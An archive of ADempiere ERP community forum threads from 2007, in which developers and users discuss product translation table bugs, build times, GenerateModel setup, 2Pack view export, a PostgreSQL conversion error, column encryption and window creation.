see <http://www.adempiere.com/wiki/index.php/Category:Development> for the older releases.

Regards,
Karsten

2007-05-23 09:10:58 UTC

Hi sin,
Yes, there should be a list of all the system reports in an easy index. Perhaps someone can volunteer to contribute that effort.

red1

2007-05-23 10:06:51 UTC

Hi red1.
How can volunteer contribute manual if hi is not CC member (Java coder)? ;)
The situation with manual is very similar with Compiere situation.
Anatoly

2007-05-23 10:22:51 UTC

Hi Anatoly,

everybody can contribute to the wiki - one way is to fill out the contributions section of the generated manual pages or just create additional pages for user/developer documentation. Btw - I think that the situation with developer manual is much better here than in Compiere but the situation for end users is worse (but you can use the Compiere manual and the wiki is getting better).

Regards,
Karsten

2007-05-23 10:57:52 UTC

Hi Karsten.
Everyone can contribute but not everyone knows as well as that :)
I think that flash cinema not the documentation and advertising (unfortunately)

2007-05-24 01:47:24 UTC

i hope...and i pray...
not only me who need: "all the system reports in an easy index" (red1)
to give everyone more courageness and
do a fast migrate from their old existing system to adempiere...

so... let me know please...
if adempiere team have create that index as soon as possible :-)

thank you...

2007-05-24 05:12:06 UTC

> if adempiere team have create that index as soon as possible :-)

:-) Adempiere team is you !

Paraphrasing -> <http://eclipse-projects.blogspot.com/2006/12/eclipse-is-you.html>

Regards,

Carlos Ruiz

2007-05-24 14:00:35 UTC

Sin:

That would such a nice contribution from your side. I can't wait to see your name on the wiki.

Regards!

2007-05-25 00:59:00 UTC

thank you...
but... i am not yet capable to doing that...
help plz...

and, is adempiere.com OK?

thank you...

2007-05-10 16:37:10 UTC

Hi all!

I'm currently using (filling the last data before entering production! :-) Adempiere 3.1.0

While entering data one of my colleague notice that there was a trouble withing the "Purchase" tab of the "Product" window.

User selects a product (let's say ItemA) and select the Purchase Tab. Here he/she saws the right data for purchased item BUT the "Product" fied of this tab is "ItemB" and not "ItemA" as selected.

By looking at the program trace output I saw that Adempiere select this "wrong" product name from M_Product_Trl table instead of M_Product table (in fact if I login with english language I see the right stuff on this tab, while common users login with italian translation selected).

With the following query:

```
select p.m_product_id, p.name, p2.m_product_id, p2.name
from m_product p, m_product_trl p2
where p.m_product_id=p2.m_product_id
and p.name!=p2.name
```

I saw that that the same product has (on the two tables) different name field, even worst this field is filled with someone else product name!!

Has anybody encounter something like this before?

Is it "safe" that I fill back m_product.name into m_product_trl.name?

How can it happen? it's just that maybe some of us login with a different language and change the product name? or is a bug hidden somewhere?

Best Regards and Happy Adempiere to all ;-)

Andrea

2007-05-10 20:33:26 UTC

it seems you have a problem with duplicate product ids in m_product_trl for m_product - perhaps there are two Italian translations for the product.

What does the following query display?

```
select count(p2.m_product_id) from m_product p join m_product_trl p2 on
p.m_product_id = p2.m_product_id
where p.name != p2.name group by p2.ad_language;
```

If count is more than 1 for any element then you have a duplicate on that product id

I dont have dups in my database so I think this should work but it's not tested ...

2007-05-10 22:36:31 UTC

> I'm currently using (filling the last data before entering production! :-) Adempiere 3.1.0

Adempiere 3.1.0 or Adempiere 3.2.0 ?

It is recommended to use version 3.2.0 for production.

Regards,
Low

2007-05-11 07:01:28 UTC

Your query shows '17', which is the number of lines my previous query shows..
Is it safe to replace the "wrong" M_Product_Trl.Name with the one provided with
M_Product.Name?
Can anybody explain how XXXX_Trl works? (or how it is supposed to work ;-)

Best Regards,

Andrea

2007-05-11 07:02:56 UTC

Currently using 3.1.0, which was the latest stable when I start deploying my Adempiere
(well.. my first deploy was with Compiere, but.. I migrate! ;-)

2007-05-25 10:18:01 UTC

Hi Andrea,

we had a similar problem with german translation of products. Our printed purchase
orders showed the wrong product names for some products. The reason for that was:

When the products where created the copy function of adempiere was used to create
similar products. That will create an entry in the product_trl table for the new (copied)
product with the name of the old product (copy from). After that the name of the new
product was changed - but that only changes the name in the M_Product table (what is
correct - but when you are using the german gui it might be not what you expect). So
everywhere in the german or english gui the name of the product is correct (derived from
the M_Product table) but when you are printing an order it prints with the wrong name
from the M_Product_Trl table if your language is not english.

So you start with a product A, copy it -> this will create a M_Product and M_Product_Trl
entry both with the name A. Then you change the name of your copied product to B ->
this will change the name in M_Product table but will not touch the name of the
corresponding M_Product_Trl entry (which is ok - because you might just correct a
spelling error in the english name ...)

So the main problem here is that ADempieres core language is always english and it is
hardcoded in many views/classes. So there is no way to have your standard product
names in italian and only a few products with an additional english translation - you have
to enter all names in english and do a translation with the translation tab...

I hope that information will help you a bit :)

Regards,

Karsten

2007-05-25 04:59:00 UTC

Hi All,

We have HP Server Dual HT Xeon 3.0GHz, with 3.5GB of RAM

but the build and setup processes take about 10-20 minutes.

What may be the problem? (Compiled app server starts in approximately 30secs)

2007-05-25 04:59:51 UTC

Windows Server 2003 is installed on server

2007-05-25 07:42:13 UTC

Hi,

>We have HP Server Dual HT Xeon 3.0GHz, with 3.5GB of RAM

>but the build and setup processes take about 10-20 minutes.

>What may be the problem? (Compiled app server starts in approximately 30secs)

>Windows Server 2003 is installed on server

It sounds strange.

On my windows XP Professional, build takes much time if scanning of archive files is not switched off. Could you check if some antivirus program is running on your OS?

Build process creates many zip and tar.gz files.

Kind regards,

Trifon

2007-05-25 08:07:51 UTC

McAfee antivirus is running on the server,

do you think the problem is because antivirus is checking all the archived files?

but there're only two or three archives in the output folders...

2007-05-25 10:12:55 UTC

10-20 minutes is a big variance!

On my notebook (a 1.5Ghz Core2Duo with 2Gb RAM) a running the complete target in

build.xml (via eclipse) AFTER running a clean-all takes 7mins.

On my main work box which is an "old" single core 2.5Ghz AMD64 with 2Gb RAM but with 4x10k disks! This same version takes only 2min 43sec! So I think, as Trifons says, the amount of disk accessing in the packing & unpacking of archives for deployment has a big impact.

But I am not using the latest SVN head... I did read some forum posts concerning the addition of new unit tests gobbling up memory... could it be these tests are slowing down the process for you?

colin

2007-05-25 11:11:49 UTC

I did an SVN Update and under 3mins for the default "complete" target, and I don't see any unit tests included by default so I must have misunderstood the posts I mentioned.

By the way, the time I mentioned for my windows notebook is with a virus checker active.

colin

2007-05-25 19:52:39 UTC

I am trying to update X_AD_Package_Exp_Detail.java.

I run GenerateModel and get the following log output:

```
[java] 11:50:49.957 CLogMgt.setLevel: FINE
[java] 11:50:49.958 GenerateModel.main: Generate Model $Revision: 1.5 $
[java] 11:50:49.958 GenerateModel.main: -----
[java] 11:50:49.959 GenerateModel.main: Directory: org.compiere.model
[java] 11:50:49.959 GenerateModel.main: Package: D
[java] 11:50:49.959 GenerateModel.main: EntityType IN ('AD_Package_Exp_Detail')
[java] 11:50:49.959 GenerateModel.main: -----
[java] 11:50:49.960 GenerateModel.main: Table Like: '%'
[java] 11:50:49.967 GenerateModel.main: Generated = 0
```

```
adempiere=# \d ad_package_exp_detail
Table "adempiere.ad_package_exp_detail"
Column | Type | Modifiers
```

```
-----+-----+-----
ad_package_exp_detail_id | numeric(10,0) | not null
ad_client_id | numeric(10,0) | not null
ad_org_id | numeric(10,0) | not null
```

isactive | character(1) | not null default 'Y'::bpchar
created | timestamp without time zone | not null default now() createdby | numeric | not null
updated | timestamp without time zone | not null default now() updatedby | numeric | not null
ad_form_id | numeric(10,0) |
ad_impformat_id | numeric(10,0) |
ad_menu_id | numeric(10,0) |
ad_process_id | numeric(10,0) |
ad_role_id | numeric(10,0) |
ad_window_id | numeric(10,0) |
ad_workflow_id | numeric(10,0) |
file_directory | character varying(255) |
filename | character varying(255) |
destination_filename | character varying(255) |
destination_directory | character varying(255) |
description | character varying(1000) | not null
dbtype | character varying(22) |
type | character varying(10) | not null
target_directory | character varying(255) |
sqlstatement | character varying(2000) |
releaseno | character varying(20) |
processing | character(1) | not null
processed | character(1) |
name2 | character varying(60) |
line | numeric |
ad_workbench_id | numeric(10,0) |
ad_table_id | numeric(10,0) |
ad_reportview_id | numeric(10,0) |
ad_package_exp_id | numeric(10,0) | not null
ad_package_code_new | character varying(2000) |
ad_package_code_old | character varying(2000) |
ad_val_rule_id | numeric(10,0) |
ad_message_id | numeric(10,0) |
ad_printformat_id | numeric(10,0) |
Indexes:
"ad_package_exp_detail_pkey" PRIMARY KEY, btree (ad_package_exp_detail_id)

Notice that ad_printformat_id is new. What am I doing wrong?

2007-05-25 20:11:56 UTC

Figured it out. I also added this to /base/build.xml:

```
<path id="class.path.test">^M
```

```

<pathelement path="{build.dir}"/>
<pathelement path="{classpath}"/>^M
<pathelement path="{jar.path}/CCTools.jar"/>^M
<pathelement path="./base/build"/>^M
<pathelement path="./looks/CLooks.jar"/>^M
<pathelement path="./tools/lib/junit.jar"/>^M
<pathelement path="./adempiere/Adempiere/lib/Adempiere.jar" />^M
<pathelement path="./adempiere/Adempiere/lib/jboss.jar" />^M
<pathelement path="./adempiere/Adempiere/lib/oracle.jar" />^M
<pathelement path="./adempiere/Adempiere/lib/postgresql.jar" />^M
<pathelement path="./base.jar" />^M
</path>^M

<target name="GenerateModel" depends="dist">
<java fork="true" classname="org.compiere.util.GenerateModel">
<classpath refid="class.path.test" />^M
<arg value="/work2/adempiere/base/src/org/compiere/model"/>
<arg value="org.compiere.model"/>
<arg value="D"/>
<arg value="AD_Package_Exp_Detail"/>
</java>
</target>^M

```

Now it is soooooo easy to run GenerateModel. Just change the arg values and in the base directory run ant GenerateModel!

2007-05-26 00:23:32 UTC

Hi All,

I am trying to correct the bug with #: 1723734

2 Pack does not handle export of a table as a view well according to what I can see. For example table view rv_orderdetail. In the adempiere_pg.dmp it is defined as follows:

```

CREATE VIEW rv_orderdetail AS
SELECT l.ad_client_id, l.ad_org_id, l.isactive, l.created, l.createdby, l.updated,
l.updatedby, o.c_order_id, o.docstatus, o.docaction, o.c_doctype_id, o.isapproved,
o.iscreditapproved, o.salesrep_id, o.bill_bpartner_id, o.bill_location_id, o.bill_user_id,
o.isdropship, l.c_bpartner_id, l.c_bpartner_location_id, o.ad_user_id, o.poreference,
o.c_currency_id, o.issotrx, l.c_campaign_id, l.c_project_id, l.c_activity_id,
l.c_projectphase_id, l.c_projecttask_id, l.c_orderline_id, l.dateordered, l.datepromised,
l.m_product_id, l.m_warehouse_id, l.m_attributesetinstance_id,
productattribute(l.m_attributesetinstance_id) AS productattribute, pasi.m_attributeset_id,
pasi.m_lot_id, pasi.guaranteedate, pasi.lot, pasi.serno, l.c_uom_id, l.qtyentered,
l.qtyordered, l.qtyreserved, l.qtydelivered, l.qtyinvoiced, l.priceactual, l.pricecentered,

```

```
(l.qtyordered - l.qtydelivered) AS qtytodeliver, (l.qtyordered - l.qtyinvoiced) AS
qtytoinvoice, ((l.qtyordered - l.qtyinvoiced) * l.priceactual) AS netamttoinvoice,
l.qtylostsales, (l.qtylostsales * l.priceactual) AS amtlostsales, CASE WHEN (l.pricelist =
(0)::numeric) THEN (0)::numeric ELSE round((((l.pricelist - l.priceactual) / l.pricelist) *
(100)::numeric), 2) END AS discount, CASE WHEN (l.pricelimit = (0)::numeric) THEN
(0)::numeric ELSE round((((l.priceactual - l.pricelimit) / l.pricelimit) * (100)::numeric),
2) END AS margin, CASE WHEN (l.pricelimit = (0)::numeric) THEN (0)::numeric
ELSE ((l.priceactual - l.pricelimit) * l.qtydelivered) END AS marginamt FROM
((c_order o JOIN c_orderline l ON ((o.c_order_id = l.c_order_id))) LEFT JOIN
m_attributesetinstance pasi ON ((l.m_attributesetinstance_id =
pasi.m_attributesetinstance_id)));
```

In postgres psql \d rv_orderdetail gives:

View "adempiere.rv_orderdetail"

Column | Type | Modifiers

```
-----+-----+-----
ad_client_id | numeric(10,0) |
ad_org_id | numeric(10,0) |
isactive | character(1) |
created | timestamp without time zone |
createdby | numeric(10,0) |
updated | timestamp without time zone |
updatedby | numeric(10,0) |
c_order_id | numeric(10,0) |
docstatus | character(2) |
docaction | character(2) |
c_doctype_id | numeric(10,0) |
isapproved | character(1) |
iscreditapproved | character(1) |
salesrep_id | numeric(10,0) |
bill_bpartner_id | numeric(10,0) |
bill_location_id | numeric(10,0) |
bill_user_id | numeric(10,0) |
isdropsip | character(1) |
c_bpartner_id | numeric(10,0) |
c_bpartner_location_id | numeric(10,0) |
ad_user_id | numeric(10,0) |
poreference | character varying(20) |
c_currency_id | numeric(10,0) |
issotrx | character(1) |
c_campaign_id | numeric(10,0) |
c_project_id | numeric(10,0) |
c_activity_id | numeric(10,0) |
c_projectphase_id | numeric(10,0) |
```

c_projecttask_id | numeric(10,0) |
 c_orderline_id | numeric(10,0) |
 dateordered | timestamp without time zone |
 datepromised | timestamp without time zone |
 m_product_id | numeric(10,0) |
 m_warehouse_id | numeric(10,0) |
 m_attributesetinstance_id | numeric(10,0) |
 productattribute | character varying |
 m_attributeset_id | numeric(10,0) |
 m_lot_id | numeric(10,0) |
 guaranteedate | timestamp without time zone |
 lot | character varying(40) |
 serno | character varying(40) |
 c_uom_id | numeric(10,0) |
 qtyentered | numeric |
 qtyordered | numeric |
 qtyreserved | numeric |
 qtydelivered | numeric |
 qtyinvoiced | numeric |
 priceactual | numeric |
 priceentered | numeric |
 qtytodeliiver | numeric |
 qtytoinvoice | numeric |
 netamttoinvoice | numeric |
 qtylostsales | numeric |
 amtlostsales | numeric |
 discount | numeric |
 margin | numeric |
 marginamt | numeric |

View definition:

```

SELECT l.ad_client_id, l.ad_org_id, l.isactive, l.created, l.createdby, l.updated,
l.updatedby, o.c_order_id, o.docstatus, o.docaction, o.c_doctype_id, o.isapproved,
o.iscreditapproved, o.salesrep_id, o.bill_bpartner_id, o.bill_location_id, o.bill_user_id,
o.isdropship, l.c_bpartner_id, l.c_bpartner_location_id, o.ad_user_id, o.poreference,
o.c_currency_id, o.issotrx, l.c_campaign_id, l.c_project_id, l.c_activity_id,
l.c_projectphase_id, l.c_projecttask_id, l.c_orderline_id, l.dateordered, l.datepromised,
l.m_product_id, l.m_warehouse_id, l.m_attributesetinstance_id,
productattribute(l.m_attributesetinstance_id) AS productattribute, pasi.m_attributeset_id,
pasi.m_lot_id, pasi.guaranteedate, pasi.lot, pasi.serno, l.c_uom_id, l.qtyentered,
l.qtyordered, l.qtyreserved, l.qtydelivered, l.qtyinvoiced, l.priceactual, l.priceentered,
l.qtyordered - l.qtydelivered AS qtytodeliiver, l.qtyordered - l.qtyinvoiced AS
qtytoinvoice, (l.qtyordered - l.qtyinvoiced) * l.priceactual AS netamttoinvoice,
l.qtylostsales, l.qtylostsales * l.priceactual AS amtlostsales,
CASE
WHEN l.pricelist = 0::numeric THEN 0::numeric
ELSE round((l.pricelist - l.priceactual) / l.pricelist * 100::numeric, 2)

```

```

END AS discount,
CASE
WHEN l.pricelimit = 0::numeric THEN 0::numeric
ELSE round((l.priceactual - l.pricelimit) / l.pricelimit * 100::numeric, 2)
END AS margin,
CASE
WHEN l.pricelimit = 0::numeric THEN 0::numeric
ELSE (l.priceactual - l.pricelimit) * l.qtydelivered
END AS marginamt
FROM c_order o
JOIN c_orderline l ON o.c_order_id = l.c_order_id
LEFT JOIN m_attributesetinstance pasi ON l.m_attributesetinstance_id =
pasi.m_attributesetinstance_id;

```

The 2Pack output in PackOut.xml is:

```

<?xml version="1.0" encoding="ISO-8859-1"?>
<adempiereAD Name="testViewExport2pack" Version="1.0" CompVer="all"
DataBase="1.0" Description="Export of a table of type view" creator="wgheath@gmail.com"
creatorcontact="wgheath@gmail.com" createddate="2007-05-25 15:41:51"
updateddate="2007-05-25 15:41:51" PackOutVer="005">
<table Name="Order Detail Test View" ADTableNameID="RV_OrderDetail"
ADWindowNameID="" POWindowNameID="" ADValRuleNameID=""
AccessLevel="3" Description="Order & Line View" EntityType="D" Help=""
ImportTable="" isChangeLog="false" isActive="true" isDeleteable="false"
isHighVolume="false" isSecurityEnabled="false" isView="true" LoadSeq="150"
ReplicationType="L" TableName="RV_OrderDetail">
<reference name="Yes-No" Description="CheckBox" EntityType="D" Help=""
Name="Yes-No" isActive="true" VFormat="" ValidationType="D"/>
<column ADColumnNameID="IsDropShip" ADProcessNameID=""
ADElementNameID="Drop Shipment" ADReferenceNameID="Yes-No"
ADReferenceNameValueID="" ADTableNameID="RV_OrderDetail"
ADValRuleNameID="" Callout="" ColumnSQL="" ColumnName="IsDropShip"
DefaultValue="" Description="Drop Shipments are sent from the Vendor directly to the
Customer" EntityType="D" FieldLength="1" Help="Drop Shipments do not cause any
Inventory reservations or movements as the Shipment is from the Vendor's inventory.
The Shipment of the Vendor to the Customer must be confirmed."
isAlwaysUpdateable="false" isIdentifier="false" isKey="false" isMandatory="true"
isParent="false" isSelectionColumn="false" isActive="true" isTranslated="false"
isUpdateable="false" Name="Drop Shipment" getIsSyncDatabase="N"
ReadOnlyLogic="" SeqNo="0" VFormat="" ValueMax="" ValueMin="" Version="1"/>

```

..... more stuff

```

<column ADColumnNameID="Discount" ADProcessNameID=""

```

```

ADElementNameID="Discount %" ADReferenceNameID="Number"
ADReferenceNameValueID="" ADTableNameID="RV_OrderDetail"
ADValRuleNameID="" Callout="" ColumnSQL="" ColumnName="Discount"
DefaultValue="" Description="Discount in percent" EntityType="D" FieldLength="22"
Help="The Discount indicates the discount applied or taken as a percentage."
isAlwaysUpdateable="false" isIdentifier="false" isKey="false" isMandatory="false"
isParent="false" isSelectionColumn="false" isActive="true" isTranslated="false"
isUpdateable="false" Name="Discount %" getIsSyncDatabase="N" ReadOnlyLogic=""
SeqNo="0" VFormat="" ValueMax="" ValueMin="" Version="0"/>
<reference name="Number" Description="Float Number" EntityType="D" Help=""
Name="Number" isActive="true" VFormat="" ValidationType="D"/>
<column ADColumnNameID="Margin" ADProcessNameID=""
ADElementNameID="Margin %" ADReferenceNameID="Number"
ADReferenceNameValueID="" ADTableNameID="RV_OrderDetail"
ADValRuleNameID="" Callout="" ColumnSQL="" ColumnName="Margin"
DefaultValue="" Description="Margin for a product as a percentage" EntityType="D"
FieldLength="22" Help="The Margin indicates the margin for this product as a
percentage of the limit price and selling price." isAlwaysUpdateable="false"
isIdentifier="false" isKey="false" isMandatory="false" isParent="false"
isSelectionColumn="false" isActive="true" isTranslated="false" isUpdateable="false"
Name="Margin %" getIsSyncDatabase="N" ReadOnlyLogic="" SeqNo="0" VFormat=""
ValueMax="" ValueMin="" Version="0"/>
</table>
<menuset/>

```

The only thing that 2pack exports that tells that this table is a view is: isActive="true"

I don't even see how to reconstruct the view with the information given via the 2pack output. I don't see anything dealing with:

```

CASE
WHEN l.pricelist = 0::numeric THEN 0::numeric
ELSE round((l.pricelist - l.priceactual) / l.pricelist * 100::numeric, 2)
END AS discount,
CASE
WHEN l.pricelimit = 0::numeric THEN 0::numeric
ELSE round((l.priceactual - l.pricelimit) / l.pricelimit * 100::numeric, 2)
END AS margin,
CASE
WHEN l.pricelimit = 0::numeric THEN 0::numeric
ELSE (l.priceactual - l.pricelimit) * l.qtydelivered
END AS marginamt

```

do you?

My only idea to deal with this is to treat table views as sql statements and export them as sql statements in 2pack. What concerns me however is how to do this correctly. I can export a postgres view as an sql statement but how do I convert it to oracle? Isn't that the approach we are taking that everything is assumed to be stored as oracle then converted to postgres? Please let me know your ideas on how to fix this bug as I am looking at a steep upward climb to fix this bug from my point of view.

2007-05-26 01:32:58 UTC

Hi Tim, the view definition is not stored in Adempiere Dictionary. So it can't be exported/imported in dictionary.

> The only thing that 2pack exports that tells that this table is a view is: isActive="true"

You mean isView="true"

> My only idea to deal with this is to treat table views as sql statements
> and export them as sql statements in 2pack.

I think you're right.

The right approach is to export as SQLStatement, what can be done currently without any change.

> What concerns me however is
> how to do this correctly. I can export a postgres view as an sql statement
> but how do I convert it to oracle? Isn't that the approach we are taking
> that everything is assumed to be stored as oracle then converted to
> postgres?

SQLStatements can be marked when exported for Oracle, for PostgreSQL or for "ALL". For views, given that is hard to convert sql from oracle to postgres views, the best would be to have two separate statements.

> Please let me know your ideas on how to fix this bug as I am
> looking at a steep upward climb to fix this bug from my point of view.

I think this is not really a bug. Looking the code and looking your example the view is exported correctly.

Regards,

Carlos Ruiz

2007-05-26 10:37:16 UTC

Hi,

When we try to build AD 3.20 source from eclipse (using build.xml under \util_dev), it's giving the following error.

BEGIN :

```
[javac] Compiling 15 source files to G:\SAT3.20C\extend\build
[javac] G:\SAT3.20C\extend\src\test\security\Hole.java:30: cannot access
javax.ejb.EJBHome
[javac] file javax\ejb\EJBHome.class not found
[javac] Server server = serverHome.create();
[javac] ^
[javac] G:\SAT3.20C\extend\src\test\security\Hole.java:32: cannot access
javax.ejb.EJBObject
[javac] file javax\ejb\EJBObject.class not found
[javac] RowSet s = server.stmt_getRowSet(cs, SecurityToken.getInstance());
[javac] ^
[javac] 2 errors
```

END

Looks like it's looking for javax.ejb.jar. How do we get that and set it up so that the above message can be avoided.

Best Regards

Sam24368

2007-05-26 10:55:11 UTC

Hi,

That file was removed from trunk. Please update.

Best regards,
Teo Sarca

2007-05-26 11:03:40 UTC

Hi Teo,

Thanks..

Regards

Sam24368

2007-05-26 17:01:12 UTC

Hello everybody,

I just noticed that when in 'Table and Column' you set a column as encrypted it only effects the future saves or updates. Am I missing something?

If not, isn't it more desirable to encrypt and update all the values upon setting a column encrypted?

Warm regards,
Bahman

2007-05-27 03:52:11 UTC

- > I just noticed that when in 'Table and Column' you set a column as
- > encrypted it only effects the future saves or updates.
- > Am I missing something?

No, you're right, this is how it works currently.

- > If not, isn't it more desirable to encrypt and update all the values
- > upon setting a column encrypted?

Yes, I think as you the process should encrypt all values (or at least have a flag to let the user choose if encrypt or not current data).

In fact, such process is a MUST to solve the problem with password encryption.

On the other hand, it could be problematic to encrypt current values. It's a really delicate process, if for any reason the key is changed the data would be lost. And, encrypted values need wider columns to store the information, so the process must take account of that, if any value doesn't fit in the column the process must be aborted to avoid loss of information.

Regards,

Carlos Ruiz

2007-05-27 08:52:44 UTC

> It's a really delicate process, if for
> any reason the key is changed the data would be lost.
Good point!

I created a feature request tracker and also uploaded the solution. Please take a look at it.
http://sourceforge.net/tracker/index.php?func=detail&aid=1726329&group_id=176962&atid=879335

Warm regards,
Bahman

2007-05-27 09:04:37 UTC

One thing to add is that for now it doesn't handle change of column size.

Warm regards,
Bahman

2007-05-27 06:17:56 UTC

Hi,

I would like to install Alfresco (CMS), and would like to try installing it in Adempiere JBoss as a base.

Adempiere is running on Port8088, and Alfresco in Port 8080, is this possible?

Where should I place the Alfresco WAR file, and what should steps should I aware?

Regards,

Terence

2007-05-27 09:13:11 UTC

Hi Terence,

I only tested it and it doesn't work. To me it looks like there should be a separate server configured for Alfresco in order to run it.

But this was just a 5 minute test. Maybe someone else can help you more with your question.

Warm regards,
Bahman

2007-05-27 09:40:47 UTC

Well I haven't done it but I think it may well be possible Terence. It would require changes to the jboss configuration files rather than simply placing the war file in a deploy directory. Check out this

<http://www.fusioncube.net/index.php/hosting-multiple-domains-with-jboss.html>

for some pointers.

If you come to any definitive conclusions (good or bad) do let us know!

colin

2007-05-27 16:28:24 UTC

Hello.

I'm learning Adempiere with wiki page.

http://www.adempiere.com/wiki/index.php/Quality_Control_Cycle

And I noticed that cached window does not display latest record when I create record using something like "Create PO from Requisition" process.

I needed to press "Refresh" button.

So I misunderstood that it didn't work well.

Then I add some code.

```
client\src\org\compiere\apps\AMenuStartItem.java
private void startWindow(int AD_Workbench_ID, int AD_Window_ID) method.
line 213
AWindow frame = (AWindow)Env.showWindow(AD_Window_ID);
if (frame != null) {

// start
ActionEvent e =
new ActionEvent(this, ActionEvent.ACTION_PERFORMED, "Refresh");
frame.getAPanel().actionPerformed(e);
// end

m_menu.getWindowManager().add(frame);
return;
}
```

This seems to work in my environment. but, I don't check well.

What do you think of this modification?

I use Adempiere 3.2.0 .

Thank you.

2007-05-29 01:29:47 UTC

Hi,

System : AD 3.20, Pg 3.24, XPPro

When we try to create a new Element in Element Window, for Certain particular names we are not able to do it....The problem happens in "Create Columns from DB" as well.

For eg., for the Element name "TEC_DeCode" it gives the following error, whereas Element Names "TEC_DaCode", "TEC_TrialCode" are no problem. Could some one check if this happens in their system as well ?

Error :

```
06:42:11.468 GridController.dynamicDisplay: MTab #0 Element (203) - Rows=2539
[11]
06:42:11.484 GridController.dynamicDisplay: MTab #0 Element (203) - fini - seletive
[11]
=====> GridTable.dataSave: Persistency Issue - AD_Element: String index out
of range: -1 [11]
java.lang.StringIndexOutOfBoundsException: String index out of range: -1
at java.lang.String.substring(String.java:1768)
at org.compiere.dbPort.Convert_SQL92.convertDecode(Convert_SQL92.java:340)
at
org.compiere.dbPort.Convert_PostgreSQL.convertComplexStatement(Convert_PostgreS
QL.java:154)
at
org.compiere.dbPort.Convert_PostgreSQL.convertStatement(Convert_PostgreSQL.java:1
04)
at org.compiere.dbPort.Convert.convertIt(Convert.java:236)
at org.compiere.dbPort.Convert.convert(Convert.java:209)
at org.compiere.db.DB_PostgreSQL.convertStatement(DB_PostgreSQL.java:246)
at org.compiere.util.CPreparedStatement.<init>(CPreparedStatement.java:54)
at org.compiere.util.DB.executeUpdate(DB.java:947)
at org.compiere.util.DB.executeUpdate(DB.java:876)
at org.compiere.model.PO.saveNew(PO.java:2288)
at org.compiere.model.PO.save(PO.java:1806)
at org.compiere.model.GridTable.dataSavePO(GridTable.java:1794)
at org.compiere.model.GridTable.dataSave(GridTable.java:1143)
at org.compiere.model.GridTab.dataSave(GridTab.java:814)
at org.compiere.apps.APanel.cmd_save(APanel.java:1671)
at org.compiere.apps.APanel.actionPerformed(APanel.java:1330)
at org.compiere.apps.AppsAction.actionPerformed(AppsAction.java:266)
```

Best Regards

Sam24368

2007-05-29 02:02:56 UTC

Hi,

I've confirm this is a bug in the postgresql port, thanks for reporting.

https://sourceforge.net/tracker/index.php?func=detail&aid=1727193&group_id=176962&atid=879332

Regards,
Low

2007-05-29 08:03:18 UTC

create adempiere database on oracle,
automatically generate:
listener.ora contents = adempiere (9 char)
tnsnames.ora contents = adempier (8 char without last "e")

why?

-sin-

2007-05-29 09:29:40 UTC

Hi everybody,

does anybody know where to find a good tutorial showing the adempiere windows creation.

I've read the tutorial <http://www.adempiere.com/wiki/index.php/NewWindow>, and got a lot of questions concerning DB table creation. is it mandatory to create a table XX_Material, and what is it for??? Is it earier(possible) to create a window using hardcoding rather than using Adempiere tools?

Thanks in advance...

2007-05-29 09:44:12 UTC

Hi,

> Is it earier(possible) to create a window using
> hardcoding rather than using Adempiere tools?

Yes, it's possible. But why would you want to do so while it can be done with a few clicks?

> is it mandatory to create a table XX_Material,
> and what is it for???

Every window has an ADempiere table behind it and the ADempiere table has a database table behind. So the author created a new table (XX_Material), its ADempiere table, the model classes, the window and ...

You can use another ADempiere table to make a window upon however the tutorial is intended to show you every bit of the window creation process clearly from the A to Z!

Warm regards,
Bahman

2007-05-29 10:06:58 UTC

Thanks a lot, Bahman.

can i ask you a few more questions,
what is the differences between the Adempiere table and database table?
do i have to follow any rule(convention) when 'naming' new tables(tables created by me)?
i wanted to put a label(some kind of text) into my window, but couldn't find any
matching
element, is it 'solvable'?

thanks...

2007-05-29 10:38:43 UTC

By the way, my main task is to make post amounts to accounts in General Ledger....

2007-05-29 10:56:28 UTC

> what is the differences between the Adempiere
> table and database table?

Good question!

The database table as is obvious is the table you create inside the database using CREATE TABLE and exists as an all-in-one physical entity.

An ADempiere table is a logical entity consisting of many small physical entities. It's logical entity because it doesn't exist as a table in the database. Put simply, it is lots of metadata related to table in the database. Suppose you have a database table XX_Material, when you create an ADempiere table for it, you store some information about the database table such as owner client, owner org, access levels, description, help and so on. These information is not stored in database table XX_Material but inside a table called AD_Table which physically stores this information in the database. So ADempiere tables are defined inside a database table called AD_Table. (By the way, even AD_Table has an ADempiere table)

That's why ADempiere tables are not physical tables, THEY ARE PHYSICAL TABLE'S METADATA.

You can take a closer look at the stuff I told you, in the 'Table and Column' window in ADempiere (login with system administrator role).

> do i have to follow any rule(convention) when

> 'naming' new tables(tables created by me)?

No, you don't have to, but you should. These prefixes help you organise your addons to ADempiere much easier and let others intergrate your addons in their own ADempiere instances more easily. The prefix shows which module the table belongs to. I, myself, carefully use those conventions in my job (who am I to break the tradition?!)

> i wanted to put a label(some kind of text) into my window,

> but couldn't find any matching element, is it 'solvable'?

Well, depends on where you want it to be: if you want to put some short description (about 60 characters long) before a group of fields, you can use Field Groups. For other purposes I guess you should use a r/o text field. Perhaps someone else may give you a better idea.

Warm regards,

Bahman

2007-05-29 12:55:20 UTC

hi,

does anyone know where to get adempiere api, or how to generate it with ant???

thanks...

2007-05-30 06:14:52 UTC

Hi,

i've build'ed the project successfully without any errors,
but when i tried to run the application server(RUN_Server2.sh)
it output 'deployment' errors, one of them is:

11:57:17,356 WARN [verifier] EJB spec violation:

Bean : adempiere/Server

Section: 22.2

Warning: The Bean Provider must specify the fully-qualified name of the Java class that implements the enterprise bean's business methods in the <ejb-class> element.

Info : Class not found on 'org.compiere.session.ServerBean': Unexpected error during load of: org.compiere.session.ServerBean, msg=Bad version number in .class file

11:57:17,358 WARN [verifier] EJB spec violation:

Bean : adempiere/Status

Section: 22.2

Warning: The Bean Provider must specify the fully-qualified name of the Java class that implements the enterprise bean's business methods in the <ejb-class> element.
Info : Class not found on 'org.compiere.session.StatusBean': Unexpected error during load of: org.compiere.session.StatusBean, msg=Bad version number in .class file

```
11:57:17,360 ERROR [MainDeployer] could not create deployment:
file:/home/otc/Adempiere/jboss/server/adempiere/deploy/adempiere.ear/adempiereRoot.jar
org.jboss.deployment.DeploymentException: Verification of Enterprise Beans failed, see above for error messages.
at org.jboss.ejb.EJBDeployer.create(EJBDeployer.java:553)
at org.jboss.deployment.MainDeployer.create(MainDeployer.java:918)
at org.jboss.deployment.MainDeployer.create(MainDeployer.java:910)
at org.jboss.deployment.MainDeployer.deploy(MainDeployer.java:774)
at org.jboss.deployment.MainDeployer.deploy(MainDeployer.java:738)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
```

does anybody know what's the problem...

thanks in advance...

2007-05-30 10:44:02 UTC

